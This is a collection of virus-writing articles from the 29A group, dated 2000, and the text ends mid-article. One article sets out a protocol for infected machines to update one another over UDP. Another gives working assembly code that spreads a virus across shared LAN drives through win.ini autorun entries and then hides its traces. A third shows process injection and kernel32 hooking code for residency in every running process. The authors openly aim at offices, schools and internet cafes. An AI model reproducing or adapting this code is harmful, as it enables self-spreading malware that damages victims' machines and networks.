it can be hard to code but mainly "Files Encryption" would be easy to rea-
lize. In fine I wish you could instead all anti-* technics to use one qui-
te certain way leading to the antiviruses paralysis.
25th-26th November 2000, the Czech Republic
Prizzy/29A
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
NetWork Distributed Viruses
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
by Bumblebee/29A

Introduction
ÄÄÄÄÄÄÄÄÄÄÄÄ

This article makes a little approach to network distributed viruses,


thinking it as a way to update viruses.

We've seen different people trying to make viruses updatable. I was


thinking in the idea and i've found a problem when you update your
virus via network, let's say internet. Some interesting viruses try to
download the update from a web site using HTTP. That is very good but
when avers check the virus your update site is sure removed :/ The same
will happen with FTP. heh But news could be different. But not in this
article :)

But i think could be made that the virus updates itself from a more
advanced virus. Of coz for this issue we need to define at least, and
may be not at last, two protocols: for network communication and an
interface for updating.

I'm going to expose here an example of network protocol. As i wrote a


MVI (modular virus interface) article for 29a#4 i'll not discuss here
again the interface for updating. Ask our distributor for old zine
numbers hehehe.

Network Protocol
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

The idea i have in mind is that a virus can be server or client. The
way the virus acts depends on some noise to avoid more than one server
on the same sub-network. For the idea i want to use UDP protocol that
is simple to manage and coz we're coding a virus no matter of packet
loss :)

Let me use something like a finite state machine (M.E.F. in spanish).

Some defines:

RANDOM: random number


WAITTIME: time to wait for a server
READY2SERVE: message that send servers waiting client
connections
PUBLICPORT: port that avers will know :)
HEREIAM: message that sends a client that wanna join
the server. it includes the module list with
versions to allow server to know if there
are new versions
PRIVATEPORT: port where server talks with clients. it includes
the list of modules with versions that has the
server (random port>1024 per session)
IP: client/server IP from request
BC: our network broadcast addr (thats 10.221.1.0 for
IP 10.221.1.10 as ex.) you can put here the
broadcast of network size C,B,... but i think
C its ok (mask 255.255.255.0)
WANNAUPDATE: module update request
MODULEUPDATE: that's the module requested
We have following states (only four... heh):

E0: Wait listening BC:PUBLICPORT (start WAITTIME+RANDOM)


E1: Wait listening BC:PUBLICPORT (start WAITTIME+RANDOM)
Wait listening BC:PRIVATEPORT+1
E2: Wait update (start WAITTIME+RANDOM)
E3: Wait listening BC:PUBLICPORT+1 (start WAITTIME+RANDOM)
Wait listening BC:PRIVATEPORT

Some actions (inputs):

A0: Update received


A1: Self not updated
A2: Update requested
A3: WAITTIME+RANDOM out
A4: HEREIAM received
A5: READY2SERVE received

Let's begin!

Initial state: E0

E0 -- A3 --> E3 (we are server)

E3 -- A3: out READY2SERVE@BC:PUBLICPORT --> E3


|
-- A4: out PRIVATEPORT@IP:PUBLICPORT --> E3
|
-- A1: out WANNAUPDATE@IP:PRIVATEPORT+1 --> E2
|
-- A2: out MODULEUPDATE@IP:PRIVATEPORT+1 --> E3

E0 -- A5: out HEREIAM@IP:PUBLICPORT+1 --> E1 (we are client)

E1 -- A1: WANNAUPDATE@IP:PRIVATEPORT --> E2


|
-- A2: out MODULEUPDATE@IP:PRIVATEPORT --> E1
|
-- A3 --> E3 (we are server)
|
-- A5: out HEREIAM@IP:PUBLICPORT+1 --> E1 (we are still client)

E2 -- A0 --> E1 if we're client


| --> E3 if we're server
|
-- A5 --> E0 if we're client (server down?)
--> E3 if we're server (client update loss)

It may seem a bit complex, but it isn't! It has a non efficient way
in data terms to manage network errors, that's UDP packes loss. But it
is easy to code without annoying ACK's and NACK's going up and down the
wire.
What the hell we get with this protocol? We have a different servers
in different sessions (and may be in the same session hehe ;) And the
best is that sysadmin only knows the server IP, that's only one machine
infected. To get the others you must wait to another virus to become
server and this will took WAITTIME+RANDOM (random noise to avoid two
or more servers running at time... but is not needed and really doesn't
works very fine if machines swich on in a random way). Of coz avers can
code a fake server... but sure this is annoying for them, isn't it?
Battlefield
ÄÄÄÄÄÄÄÄÄÄÄ

May be you (lo reader!) are a bit lost with my M.E.F. so i'm going to
write here an example of protocol working:

- We are a virus made by coder 'X' and we go resident by a way that it


doesn't concern here. We start to listen PUBLIC port (let's say 6000).
We start also a counter. Suppose the counter reaches zero. We assume
there is no server working and we are the overlords. So we become
server. We get a random port for PRIVATEPORT (let's say 10200) and we
start listening 10200 for requests and port 6001 (that's public +1)
for HEREIAM messages. Just send the READY2SERVE message. We start
another counter. If this counter reaches zero we will send the
READY2SERVE. That's avoid there are more than us as server :)
Let's say that a virus made by coder 'Y' starts in another machine in
our network. And it receives one of our READY2SERVE. hehe Eat shit! We
are the server! This sad virus then will send us at 6001 the HEREIAM
message. This message includes his module list. We get it and check
our list. But before requesting a module (if needed) we need to send
the PRIVATEPORT to the client plus out list before update shit. erm...
our virus is awesome and has two modules with higher version that the
client virus. So will not ask for module. But oh! we receive a little
WANNAUPDATE message in our PRIVATEPORT. Then we send the MODULEUPDATE
to this 'piltrafilla*' hehe. Later we receive another WANNAUPDATE and
we reply as required. But shit happens and the lame user in our
machine ends the session :/ ouch. Our glory time ends by now. But
there's another virus (remember 'Y'). When its counter reaches zero
it becomes server and next viruses sending HEREIAM when 'Y' sends
READY2SERVE will get its PRIVATEPORT. And viral life will continue.

As you can see it's not as complex as it seems. It's hard to get it
at first time but soon you will start to think adding more things to
it :)

From theory side that's all folks. But let's walk a bit into a simple
implementation.

UDP sockets are not blocking. But it means too that you're not sure
packets arrives. As i say before don't care. We are coding a virus and
moreover UDP are quite secure at local networks (the machines in the
same ISP than you when you're connected to internet are very nice to
receive those packets). And more than one server is not bad after all
coz each client will use ONLY ONE server. The worst case will be 'n'
viruses and 'n' servers, that's no communication!
Implementin server-to-server communication it's very hard, forgive it!

A nice idea should be add a CRC to the messages to avoid errors, at


least in big messages. An encryption layer could be easily supported
too. Crypt key could be provided by the server with the PRIVATEPORT.
And something better: server could send with PRIVATEPORT a pieze of
code that has the crypt algo. Each virus could have it's own algo. The
client only need the encryptor.

Packets must be as small as possible. Let's say 32 bytes for simple


communication and ever less than 512 bytes. So we can add a review for
the protocol and the WANNAUPDATE could provide a port to make a TCP
connection with server to send module data in a more reliable way. It
could be more easy than manage a message in several UDP packets ugh :/
Btw we are coding a virus. Try to not code modules of 10 kbs or so ok?

That's enought by now. If you want you can send me your ideas and
comments. Let's start our own RFC! hehe
Last turn off the lights
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

I hope you're not thinkin: 'I'm lost. It really will update a virus?'
The idea is you add to your updatable virus a new module and the you
can spread it to see how it updates your other samples out there. At
leat next generations will be updated :) That improves the machine-to-
machine uptade approach using networks. And don't rely in web address
anymore!

Another point is you can use this distributed system for other things
like the payload. What happens if the server triggers a SHUTDOWN mess?
Just imagine several machines closing windows at the same time... it
is not a wonderful world?

If you're thinkin: 'That's impossible.' hehe i don't care what are


you thinking, else i'll write here a M.E.F. about what's in your mind.
Btw in the 2000 Valencian VX meeting Billy Belcebú, YbY, ... and me
where speaking about this shit... and who knows? be scared!

The way of the bee

*piltrafilla: little pieze of shit.


<ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ÚÄÄÄÄÄÄÄÄÄ>
ßßßßßßßßßßßßßßßßßßßßßßß ³
Û Local Network Infection Û ³
ÚÄÄ ú ù þ Û Û Û Û þ ù ú ÄÄÙ
³ Û by Lord Julus / 29A Û
³ ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
<ÄÄÄÄÄÄÄÄÙ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ>

ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
ÚÙ À¿
³ Foreword ³
À¿ ÚÙ
ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ

Hello, ppl!! Here I come with another tutorial that I hope will help
you discover the world of local network infection. This idea is quite old,
but, as you all know me, I like to take a share of exposing even older ideas
in the best way I can think of.

The questions which raise here are quite forthcoming: what is a local
network, why do we need to infect the local network? First question will be
answered further, but the second one is suitable for a foreword, wouldn't
you say so?

So, besides the home computers, where do most computers exist? I will
tell you: in offices, in internet-cafes and in exhibitions. And these are
places where computers NEED to be linked into a network. An office is a
tipical place were people need to share computer resources in order to be
more efficent. It's a tipical place where data needs to be stored on secured
servers that are able to backup data so that if one workstation fails
nothing gets lost. It's a tipical place where people have shared folders on
the server and exchange excel spreadsheets and word documents. The same
thing applies for internet cafes. Here, moreso computers are linked into a
network and people run executable files, most of them games, irc and email
clients. Let us not forget also the school and college computer labs, where
students come to learn the magic world of programming...

I do hope that you already understood that a local network is a very


good place for your viruses to spread and break free. What you need to bare
in mind is that in most cases offices, internet cafes and exchibitions have
a no floppy disk policy, which means that your code will probably not be
able to fly away on a disk, but this is not our concern now. Do not forget
that in the mean time offices and internet cafes are almost always on-line
and what better way out than the internet door, right? Also, most offices
and school labs communicate vastly via e-mail and important files need to be
attached to email messages...

But, I repeat, how the virus breaks free out of the local network is
not our main concern here. Our problem is how can we spread our code into
the local network increasing the probability that it will get out of there,
or it will be kept for years on the backup tapes... Which is also a pretty
neat thing to happen...

So, keep this in your mind and start reading...

ÚÄÄÄÄÄÄÄÄÄ¿
ÚÙ À¿
³ Credits ³
À¿ ÚÙ
ÀÄÄÄÄÄÄÄÄÄÙ

Let me not forget first of all to mention all the guys that inspired
me in the lan infection through their work and articles! My 29A mates and
all the rest that used the following technique!

ÚÄÄÄÄÄÄÄÄ¿
ÚÙ À¿
³ Basics ³
À¿ ÚÙ
ÀÄÄÄÄÄÄÄÄÙ

Basics... Basically there are no basics in this thing... ;-)

Everybody knows what a network is... It's a bunch of computers


connected between them in one way or another which allow people to share
resources and communicate between them.

The local network is sor of a tiny internet, called intranet. Do not


make a confusion between the local network and the internet. You can have
local networks without internet and the other way around. In this article I
will be discussing the local network spreading...

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
ÚÙ À¿
³ Local network - hardware ³
À¿ ÚÙ
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

It's not really our bussines to discuss the hardware of the local
network, but I will just mention a few words here. Usually, in a local
network we have a server. This is basically a normal computer, but with very
high resources (huge and fast harddisks, huge RAM memory, etc). The server
is linked to a hub. The hub is just a small device that has a defined number
of sockets, which gives the number of resources (other compters or
devices) that can be connected to the server. If the network is also on
line, one of the sockets is taken by a router, or by another compter that
acts like a firewall. All of the remaining sockets have wires that go
directly to the other computers (workstations). The workstations have the
wires connected into the network board in the back (it has to have 2 lights,
one always on, and one flashing as info goes through the network). More or
less, this is everything you will ever need to know about LANs, if you are
not going to become a network administrator... So, let's move forward to the
software part...

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
ÚÙ À¿
³ Local network - soft representation ³
À¿ ÚÙ
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

As one might expect, the local network can be accessed either using
the "My Computer" icon, or the "Network neighbourhood". There you can see
all the computers that are currently connected into the network. You can
double click on them and see what is shared (whatever is shared has a small
hand drawn over the icon). Most of the time you will only have a printer or
other external device shared, but sometimes you can find the entire harddisk
of the remote computer shared. Basically you can access the shared drives as
if they are folders on your own workstation and this is what the LAN
spreading viruses will try to use. Depending on the security level of the
network, the resources might be protected by individual passwords or not.

Basically what your workstation is able to "see" in the beginning is


what is called the root of the network. The root of the network will always
be a container. Oops! I started with the dirty talking... Let me give some
definitions first:

Root of network
³
ÚÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
Container1 Resource2 Container2
³ ³
³ ÃÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
Resource6 Resource3 Container3
³
ÃÄÄÄÄÄÄÄÄÄÄÄÄ¿
Resource4 Resource5

So, not only that it looks like a harddisk file system, it is exactly
like a file system. So, a container is resource that has other resources in
it, and a final resource has no other branches. Simplified, a resource can
be a printer or another disk (hdd, floppy, cd, etc). This is, again,
presented very briefly, only the basic things that we need to infect the
lan.

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
ÚÙ À¿
³ Microsoft's LAN standard ³
À¿ ÚÙ
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

As always, we are speaking about Windows viruses, right? Well... here


again Microsoft comes with some very handy tools that allows our code to
roam around the LAN freely... Let me give you some details on how and what
does Microsoft call different things and how do they appear in the Win32
system.

The thing we ought to look at is the MPR library.

The MPR library is the library that you need in order to be able to
roam the LAN. The file is called MPR.DLL and can be found in the system
directory (SYSTEM or SYSTEM32). Your program must first load this library
and get the addresses of the needed functions before it can attempt to
access the LAN. There's nothing special about that, just use the LoadLibrary
API and load it like any other library.

Let's see a briefing of the APIs we are interested in in this


tutorial:

WNetOpenEnumA
WNetEnumResourceA
WNetTCloseEnum

Unbelievable, huh? Only three apis and we can do all that? Well, you
will see that it is a little tricky to program these apis, because you must
use reentrant procedures that save data on stack, you need to allocate and
free memory, but this will come just a little bit later on. First let's
breakdown these apis:

First let me discuss the NETRESOURCEA structure which is the basic


structure used in the network browsing:
NETRESOURCEA STRUC
dwScope DW ?
dwType DW ?
dwDisplayType DW ?
dwUsage DW ?
lpLocalName DD ?
lpRemoteName DD ?
lpComment DD ?
lpProvider DD ?
NETRESOURCEA ENDS

Where:

dwScope - represents what kind of resource are we looking for; this


value might be one of the following:

RESOURCE_CONNECTED = 00000001h - a connected resource


RESOURCE_GLOBALNET = 00000002h - a global network resource
RESOURCE_REMEMBERED = 00000003h - a previously browsed resource

dwType - represents what type of resource are we looking for; this


value might be one of the following:

RESOURCETYPE_ANY = 00000000 - any type


RESOURCETYPE_DISK = 00000001 - disk / file
RESOURCETYPE_PRINT = 00000002 - printer

dwDisplayType - the way the resource is to be browsed; useless

dwUsage - what is the usage of this resource? The value might be one
of the following:

RESOURCEUSAGE_CONNECTABLE = 00000001h - can be connected


RESOURCEUSAGE_CONTAINER = 00000002h - contains other entries
RESOURCEUSAGE_RESERVED = 80000000h - ???

lpLocalName - a pointer to a string that gives the local name of the


network device

lpRemoteName - a pointer to a string that gives the remote name of


the network device

lpProvider and lpComment - useless fields that give useless info

Ok, this structure is very important for us. As you will see we shall
have to browse the network as if we were browsing the files on a HDD and
this structure will give us all the needed information. But to do this,
first we have to open an enumeration handle. This is done with this
function:

WNetOpenEnumA(
IN DWORD dwScope,
IN DWORD dwType,
IN DWORD dwUsage,
IN LPNETRESOURCEA lpNetResource,
OUT LPHANDLE lphEnum
);

So, you must tell the system, what scope, what type and what usage
type of resource are you looking for, you must provide a pointer to a
NETRESOURCE structure to be filled in and it will return to you the handle
to the enumeration. Usually when you first use this structure you begin with
a NULL parameter for the lpNetResource which means the entire network is to
be browsed. After you have opened the enumeration, you must start
enumerating resources:

WNetEnumResourceA(
IN HANDLE hEnum,
IN OUT LPDWORD lpcCount,
OUT LPVOID lpBuffer,
IN OUT LPDWORD lpBufferSize
);

hEnum - the handle which was returned by WNetOpenEnum

lpcCount - how many entries do you want to see? Usually you input here
a big number like 0FFFFFFFFh and all entries are processed. The function
will return in this field the actual number of resources that were found.

lpBuffer - this is a buffer that will be filled with an array of


NETRESOURCE structures. You must be sure you have enough space in this
buffer. The order in which the structures are filled in is random. One will
have to process each entry to be able to browse the net completely.

lpBufferSize - the size of the buffer to receive data

After you have finished enumerating all resources that belong to a


certain enumeration, you must be sure to close the enumeration handle:

WNetCloseEnum(
IN HANDLE hEnum
);

Ok, this was a little briefing on the apis we can use. Let's go
deeper and see some code that will make you understand even better how this
is done.

ÚÄÄÄÄÄÄ¿
ÚÙ À¿
³ Code ³
À¿ ÚÙ
ÀÄÄÄÄÄÄÙ

First of all, I do hope that all of you are familiar with the concept
of local labels. This concept is widely used by all high level languages and
it means that you may have variables that have their value stored directly
on the stack and everytime that procedure is called a new room is created on
the stack to hold the variables. This is why you can recurse procedures
(make one procedure call itself) without losing the variables values,
because they are stored on the stack and the stack goes back and forth as
you call or return from procedure. One very important issue here is that
when you define such a procedure the common way it will result will be more
or less like this:

MyProc proc C var1:DWORD, var2:DWORD


local v1:DWORD
local v2:DWORD

mov eax, var2


mov edx, v1
ret
MyProc Endp

And when compiled it will look like this:

enter 0008, 00
mov eax, [ebp+0ch]
mov edx, [ebp-04h]
leave
ret

So, the stack looks like this before the leave:

var2 = EBP + 0ch


var1 = EBP + 08
<return to caller address> = EBP + 04h
EBP = <saved ebp> = EBP + 00h
v1 = EBP - 02h
ESP = v2 = EBP - 04h

So, you see, you cannot rely on using EBP as a delta handle because
the compiler automaticaly generates instructions that use EBP for other
purposes. So, you must get your delta handle in ANOTHER register than EBP!
Also, remember NOT to use the delta handle for the local variables, e.g. if
you have the delta into ESI DO NOT EVER say:

mov edx, [esi+v1]

that's a mistake! "v1" is on stack and it is manipulated directly!!

Ok, this being said, let us start defining our network infection
procedure. Basically what we will do, we will create an enumeration for the
root of the network, and then for each resource which is a container we will
open another enumeration and so on until we finish all entries. For each
resource which is a disk, we will try to retrieve its name and infect it:

NetInfection proc C lpnr:DWORD ;


local lpnrLocal :DWORD ;
local hEnum :DWORD ;
local ceEntries :DWORD ;
local cbBuffer :DWORD ;

where:
lpnr = the address of the network enumeration on entry
lpnrLocal = the address of the enumeration passed as a parameter
hEnum = a handle to the enumeration
ceEntries = how many entries in the enumeration
cbBuffer = a buffer to hold enumeration data

Now we get our delta handle into register EDX:

pusha ;save all regs


call get_new_delta ;get delta
get_new_delta: ;
pop edx ;
sub edx, offset get_new_delta ;

And now let's initialize our local variables and try to open the
enumeration:

mov [ceEntries], 0FFFFFFFFh ;as many entries as poss.


mov [cbBuffer], 4000 ;memory buffer size
lea eax, [hEnum] ;handle to enumeration
mov esi, [lpnr] ;parameter
call [edx+_WNetOpenEnumA],\ ;the enumeration API
RESOURCE_CONNECTED,\ ;only connected resources
RESOURCETYPE_ANY, 0,\ ;any type of resource
esi,\ ;where the result goes
eax ;where the handle goes
;
or eax, eax ;failed?
jnz exit_net ;

If we are here we succesfully opened the enumeration of the network


resources. Now, we need memory to get all the data there so we will have to
allocate some memory. I decided that 4000 bytes is more than enough:

call [edx+_GlobalAlloc], GPTR, cbBuffer ;allocate memory


or eax, eax ;
jz exit_net ;
mov [lpnrLocal], eax ;save memory handle

Now we have the enumeration handle and we have the available memory
to fill the data in... All we have left to do is enumerate the resources:

enumerate: ;
lea eax, cbBuffer ;enumerate all the
push eax ;resources
mov esi, [lpnrLocal] ;where is our memory?
push esi ;
lea eax, ceEntries ;how many entries?
push eax ;
push hEnum ;our enumeration handle
call [edx+_WNetEnumResourceA] ;
;
or eax, eax ;failed?
jnz free_mem ;

Ok, now, if we are here that means that our enumeration was also
succesful. The number of entries in this resource tree comes into our local
variable ceEntries. All we need to do is take that into a counter and loop
around:

mov ecx, [ceEntries] ;how many entries?


or ecx, ecx ;
jz enumerate ;
;
roam_net: ;
push ecx esi ;save them...
;
mov eax, [esi.dwType] ;is it a disk resource?
test eax, RESOURCETYPE_DISK ;
jz get_next_entry ;if not skip (might be
;a printer or smth. else)
;
mov edi, [esi.lpRemoteName] ;get remote name
mov esi, [esi.lpLocalName] ;get local name
or esi, esi ;empty?
jz no_good_name ;
;
cmp word ptr [esi],0041 ;is it a floppy disk?
jz no_good_name ;("A")
;
call RemoteInfection ;try to infect it!
;
no_good_name: ;
pop esi ;
;
mov eax, [esi.dwUsage] ;do we have a container?
test eax, RESOURCEUSAGE_CONTAINER ;
jz get_next_entry ;

Now, if we have a container, than it means that that one itself might
have some other resources inside, so we can recurse this procedure by
pushing on stack the ESI register which holds the address of this resource's
memory area:

push esi ;
call NetInfection ;recurse!!

When there is no other tree branch for the current resource we simply
continue looking up the rest of the resources. For this we increase ESI with
20h which is the size of the network structure and we loop:

get_next_entry: ;
add esi, 20h ;next resource!
pop ecx ;
loop roam_net ;
;
jmp enumerate ;and next enumeration...

Of course, after we finished, or we ran out of memory we must first


of all free all the memory we allocated, and then we have to close the
enumeration and return from the procedure:

free_mem: ;
call [edx+_GlobalFree], [lpnrLocal] ;free the memory
call [edx+_WNetCloseEnum], [hEnum] ;and close enumeration.
;
exit_net: ;
popa ;
ret ;
NetInfection endp ;

You saw that above I made some checkings: if the name of the remote
resource is valid or if it is a floppy disk than no infection occures,
otherwise we call our Remote Infection procedure. Let me tell you that here
one can do whatever comes into his mind... I mean, ESI holds the name of the
remote computer. What more do you need? I will give you one of the many ways
you can use, one which appeared in more viruses and which proves to be
reliable enough. It's main idea is that if you are connected to another
computer that has a Windows system on it, for sure there will exist there a
folder that will contain the Windows directory... And in the windows
directory we have the good old Win.Ini file which is still kept as a
backward compatibility. Of course we know that almost all windows
directories are called Windows, Win98, Win95, WinNT, and stuff like that.
What you could do is get the windows directory on the local workstation and
assume that as long as the computers are connected into a network the
Windows was installed in the same way so the directory will be the same. But
for the moment the method of testing various directories is pretty good (was
used by Gryio in Cholera). So what you need to do is create some strings
like this:

<remote name>\Windows\win.ini
<remote name>\WinNT\win.ini
<remote name>\Win95\win.ini
<remote name>\Win98\win.ini

And check if you can open the win.ini file. If you can it means you
found it!

The next step is to copy the currently running file over the net into
the windows directory. That is very easy using CopyFileA. After that you
need to create an entry in the win.ini file to read like this:

[Windows] (or whatever the windows dir is)


run=c:\windows\file.exe

And the file file.exe is the infected victim from the local computer
but under another name. At the next reboot the win.ini file will launch the
file called file.exe and guess what: the entire windows directory will get
infected. For the user it will look kinda strange why some application
automatically started running after reboot but... he will not have anything
to do about it. And that's because your virus must be equiped with a cool
feature (which appeares in Rammstein). Any infected victim must check in the
windows directory and if it finds the file file.exe there and no entry in
the win.ini file, or if there is an entry and there is no file, than it must
delete the file and the entry, so there will be no trace of the traspassing
files.

Another interesting thing you can do is to mark in the registry of


the local computer all the remote paths that have been infected and only
reinfect those once a month, for example. Otherwise the network will
suddenly start to slow down when all workstations are infected and they keep
reinfecting eachother over and over again. In this way when all computers
are infected the process of spreading stops until the next month when a new
flood occurs. In this way if one of the workstations is cleaned it will get
infected again.

Let's see step by step how we can achieve what I explained here:

First of all we will save all the registers and we can take back the
delta handle into the EBP register because in this procedure we do not mess
with the stack in anyway:

;
RemoteInfection proc ;
pusha ;
call @___1 ;restore the delta handle
@___1: ;
pop ebp ;
sub ebp, offset @___1 ;

Next we need to get the name of the running file itself (the infected
file), so that we can copy it over the net:
push 260 ;get the current file
lea eax, [ebp+myname] ;name
push eax ;
push 0 ;
call [ebp+_GetModuleFileNameA] ;
or eax, eax ;
jz cannot_roam ;

Now we will point the various possible Windows dir names and create
the name of the dropper and the name of the win.ini file.

lea esi, [ebp+windirs] ;point windows dir names


;
test_paths: ;
lea ebx, [ebp+droppername] ;copy path for dropper
call [ebp+_lstrcpy], ebx, edi ;
lea ebx, [ebp+winininame] ;copy path for win.ini
call [ebp+_lstrcpy], ebx, edi ;
;
lea ebx, [ebp+droppername] ;copy windows dir
call [ebp+_lstrcat], ebx, esi ;
lea eax, [ebp+drop] ;and dropper name
call [ebp+_lstrcat], ebx, eax ;

Let's assume that the windows dir on both computers is "C:\Windows"


and the running file is CALC.EXE. Then we will have:

droppername = "C:\Windows\file.exe"
winininame = "C:\Windows\win.ini"
myname = "C:\Windows\calc.exe"

Now, let's copy the myname file into the droppername file:

;
push TRUE ;now copy ourself over
push ebx ;the LAN under the new
lea eax, [ebp+myname] ;name into the remote
push eax ;windows directory
call [ebp+_CopyFileA] ;
or eax, eax ;
jz test_next ;

What is left to do is to create the entry in the win.ini file that


will assure us that in the next reboot the file file.exe will be executed:

lea ebx, [ebp+winininame] ;copy the windows dir name


call [ebp+_lstrcat], ebx, esi ;to the win.ini path
lea eax, [ebp+winini] ;
call [ebp+_lstrcat], ebx, eax ;and it's name
;
lea eax, [ebp+winininame] ;Now create this entry
push eax ;into the win.ini file:
lea eax, [ebp+droppername] ;
push eax ;[Windows]
lea eax, [ebp+cmd] ;run=c:\windows\ramm.exe
push eax ;
inc esi ;
push esi ;
call [ebp+_WritePrivateProfileStringA] ;
jmp cannot_roam ;

Of course, if the dir name "Windows" was not good, our procedure has
to continue searching for the rest of the windows dir names:

test_next: ;
@endsz ;go and try the next
cmp byte ptr [esi], 0fh ;windows path!
jne test_paths ;
;
cannot_roam: ;
popa ;
ret ;

Take a look also at the definition of our variables:

windirs db "\Windows", 0 ;
db "\WinNT" , 0 ;
db "\Win" , 0 ;
db "\Win95" , 0 ;
db "\Win98" , 0 ;
db 0fh ;
;
winini db "\Win.ini" , 0 ;
drop db "\file.exe", 0 ;
cmd db "run" , 0 ;
;
myname db 260 dup(0) ;
droppername db 260 dup(0) ;
winininame db 260 dup(0) ;
RemoteInfection endp ;

That was it!!! It is almost unbeliveable how small the code is and
yet how powerful it is... Of course, for a better success you should combine
the above procedure with some patching code and some hacking code. This is
needed because in the raw form I presented, the code will fail if the
network is protected with passwords or if no resource is shared. So, you
would need to patch some files to get admin rights, but this is not what I
speak about in this article...

I hope this was clear enough, and I expect you to write me back if
you were able to use this or if you discovered other ways more interesting,
more powerful, more reliable... I wait for your e-mails on my address:
lordjulus@geocities.com.

ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
ÚÙ À¿
³ Final word ³
À¿ ÚÙ
ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ

In my own opinion, the spreading inside the local network is probably


the next important after the internet spreading. I think that you can
achieve a lot and you can have a very quick and good spreading of your code,
and harder to be traced. I mean, if you infect one workstation in the school
and the second day all stations are infected it will be rather difficult,
unless there exists a full movement logging, for the network administrator
to trace where the virus emerged. Not to speak about an Internet Cafe. I
think that a LAN spreader combined with an IWorm is probably the best
solution nowadays... Again, great thanks to the entire Microsoft team for
creating so many ways of doing it!!!! ;-p~~~~

That's all, folks!!! Have a great time!!


ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Lord Julus / 29A (2000) ³
ÀÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÙ
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Multi-process residency ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ by Benny/29A ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Introduction ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

it's a long time when the first viruses became memory resident. while the time
passed we, virus coderz, found new wayz how to become memory resident under
Windows platformz. under Win95/98 it was very easy to jump to Ring-0, hook all
file APIz and so stay resident. 100% Win32 compatible residency could be done
by registry tricks or by hooking importz in Import Table of PEz (so called
per-process residency).

but to achieve "multi-process" residency - residency in all processes, not only


in the current one is harder. I'll discuss here my method, which is implemented
in Win32.HIV and is 100% API based. this virus can stay resident, not only by
hooking current process'es APIz, but in all currently running processes.

imagine this: you have opened cmd.exe application (command interpret) and
accidentelly you'll execute such virus. from that time, all file operationz,
even in cmd.exe process are hooked and every executable file opened by the
application(z) will be infected. nice, eh?

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
³ Explanation ³
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

this method is based on kernel32.dll infection algorithm. bad stuff is that it


worx only on WinNT/2k machinez (becoz of using APIz to work with processes,
which are not implemented in Win95/98). my idea is to hook some file APIz in
already loaded kernel32.dll, in all currently running processes. how do I mean
it? here is the scheme:

---- operation in separated thread ----


1* create handle to process no.1
2* find the address of loaded kernel32.dll library
3* allocate memory in the victim process and copy there virus
4* copy k32 to our buffer and hook there all file APIz
5* unprotect kernel32.dll pages
6* overwrite kernel32.dll with the infected one (from the buffer)

7* create handle to process no.2


8* ... etc ...

1*,7* I know two wayz how to create handle to any already running process.

I) first is by using legal APIz from the system:


- EnumProcesses
- OpenProcess

for detailed description how to work with these APIz look at GriYo's
"EXPLORER *in-memory* infection" article published in 29A#4.

II) second method is used by Win32.HIV. becoz every process has its own
ID number, valid in whole system, there's no problem to just randomly
select one small number (<4000), check if it's valid PID and if it is,
create the handle to it.

code from Win32.HIV:

xor ebx,ebx ;EBX - PID


mov ecx,80000h ;number of processes
nextPID:inc ebx ;increment PID
pushad ;store all registers
push ebx ;Process ID
push 0 ;no inheritance
push PROCESS_VM_READ or PROCESS_VM_WRITE or PROCESS_VM_OPERATION or
PROCESS_QUERY_INFORMATION
;try to get handle of process
call [ebp + a_OpenProcess - gdelta] ;thru our ID
;if the PID is valid, we should have handle in EAX, otherwise EAX=0
test eax,eax ;have we correct handle?
jne gotPID ;yeah, ID is valid, infect process!
pid_loop:
popad ;restore all registers
loop nextPID ;nope, try it with another ID
;finished, quit

2* this is very easy. simply, kernel32.dll should be loaded in all


processes on the same address (I can't imagine the case when it should
not be so), so all you have to do is to find kernel32.dll's address in
your process.

3* there is VirtualAllocEx API for memory allocation in another process.


the function prototype is similar to VirtualAlloc API, with the one
exception - the first parameter is handle to process:

push PAGE_EXECUTE_READWRITE
push MEM_RESERVE or MEM_COMMIT
push virus_size
